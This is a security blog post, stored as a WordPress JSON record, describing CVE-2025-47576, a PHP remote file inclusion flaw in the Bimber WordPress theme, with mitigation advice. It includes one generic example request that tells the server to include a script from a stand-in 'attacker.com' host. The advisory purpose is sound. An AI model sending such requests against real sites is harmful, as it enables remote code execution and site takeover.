{"id":44720,"date":"2025-05-26T15:46:08","date_gmt":"2025-05-26T15:46:08","guid":{"rendered":""},"modified":"2025-09-27T08:15:12","modified_gmt":"2025-09-27T14:15:12","slug":"cve-2025-47576-php-remote-file-inclusion-vulnerability-in-bimber-viral-magazine-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-47576-php-remote-file-inclusion-vulnerability-in-bimber-viral-magazine-wordpress-theme\/","title":{"rendered":"<strong>CVE-2025-47576: PHP Remote File Inclusion Vulnerability in Bimber &#8211; Viral Magazine WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability titled CVE-2025-47576 is a serious issue related to the PHP Remote File Inclusion (RFI) in the Bringthepixel Bimber &#8211; Viral Magazine WordPress Theme. As the name suggests, this vulnerability allows an attacker to remotely include files from any location, leading to potential system compromise or data leakage. It poses a significant risk to website owners and administrators who use this theme, as it could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4809-critical-vulnerability-in-tenda-ac7-router-leads-to-system-compromise\/\"  data-wpil-monitor-id=\"50626\">lead to unauthorized access and control over their WordPress systems<\/a>.<br \/>\nWeb <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41232-spring-security-aspects-authorization-bypass-vulnerability\/\"  data-wpil-monitor-id=\"52954\">security<\/a> is a fundamental aspect of maintaining an online presence, and this vulnerability highlights the importance of regular updates and security checks. The impacted parties for this specific vulnerability are widespread as it affects one of the widely used <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3053-remote-code-execution-vulnerability-in-uipress-lite-wordpress-plugin\/\"  data-wpil-monitor-id=\"50123\">WordPress<\/a> Themes, Bimber, used for creating viral magazine websites.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-47576<br \/>\nSeverity: High (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-52880-critical-vulnerability-in-insyde-insydeh2o-kernels-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"51457\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1252312901\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Bimber &#8211; Viral Magazine <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85395\">WordPress Theme<\/a> | n\/a-9.2.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This exploit takes advantage of an improper control of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32294-uncontrolled-filename-in-php-program-allows-local-file-inclusion\/\"  data-wpil-monitor-id=\"56203\">filename for include\/require statement in PHP program<\/a>. It essentially allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39406-high-risk-php-remote-file-inclusion-vulnerability-in-wpams\/\"  data-wpil-monitor-id=\"52587\">remotely include files<\/a> from any location. When the attacker is able to manipulate the file location from which PHP includes or requires files, this can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43565-incorrect-authorization-vulnerability-in-coldfusion-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"50118\">lead to the execution of arbitrary code<\/a>, effectively granting them unauthorized access and control over the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-297211489\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"57592\">vulnerability might be exploited<\/a>. This could be a sample <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4827-critical-buffer-overflow-vulnerability-in-totolink-http-post-request-handler\/\"  data-wpil-monitor-id=\"51165\">HTTP GET request<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, `http:\/\/attacker.com\/malicious_script.txt` is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81888\">malicious script hosted on the attacker&#8217;s server<\/a>. The server then processes `index.php` with the malicious script included, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4759-incorrect-behavior-order-in-lockfile-lint-api-package-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"51164\">leading to potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The primary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-3604-data-validation-vulnerability-in-contact-form-entries-wordpress-plugin\/\"  data-wpil-monitor-id=\"52162\">form of mitigation for this vulnerability<\/a> is to apply the vendor patch. If the patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary form of mitigation. Regular updates and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42598-critical-security-vulnerability-in-seiko-epson-printer-drivers-for-windows-os\/\"  data-wpil-monitor-id=\"57591\">security checks are also important in preventing similar vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability titled CVE-2025-47576 is a serious issue related to the PHP Remote File Inclusion (RFI) in the Bringthepixel Bimber &#8211; Viral Magazine WordPress Theme. As the name suggests, this vulnerability allows an attacker to remotely include files from any location, leading to potential system compromise or data leakage. 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